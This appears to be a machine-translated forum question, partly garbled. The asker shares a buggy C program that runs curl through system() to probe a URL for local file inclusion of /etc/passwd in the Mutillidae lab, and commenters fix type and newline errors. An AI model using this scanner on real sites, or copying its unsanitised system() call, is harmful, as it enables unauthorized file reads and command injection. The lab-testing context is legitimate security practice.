1
这是一个称为“Mutillidae”的测试实验室环境。C编程元素数组到sprintf()
此程序争夺的argv [1]和地方进入命令 “卷曲< [的argv [1]>”,然后 它抓住从lfi_test文件并将其置于一个线到第二 %S中的sprintf()。该程序执行%100,我只是遇到格式问题(| grep root)。相反,整个源代码显示包括整个/ etc/passwd文件。
如果我取消注释行#20:
int passwd = "/etc/passwd";
和线#27更改为
sprintf(url,"/usr/bin/curl %s%s", argv[1], passwd);
我能够获得格式的结果我想要的。 如果有人能帮助我,请提前致谢。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[])
{
printf("\nlfi_check searches for system files on a vulnerable URL\n");
printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");
if (argc != 2)
{
printf("\nusage ./lfi_check http://target.php?page= \n");
}
else
{
char url[200];
int i;
FILE *fp;
char line[200];
char *root = "| grep root"
// char *passwd = "/etc/passwd";
fp = fopen("/home/freshnuts/pentest/lfi_rfi/lfi_test","r+");
for (i=0; i <= 1; i++)
{
fgets(line,sizeof(line), fp);
sprintf(url,"/usr/bin/curl %s%s %s", argv[1], line-1, root);
// printf("%s", line);
system(url);
}
}
}
'的/ etc/passwd'是一个字符串,它不应该被分配给一个'int'。需要使用像char * passwd =“/ etc/passwd”这样的分配。 – DUman
@DUMAN感谢那个男人,我改变了它并记下了它。 – Freshnuts
'line'在它的结尾会有一个\ n。 – immibis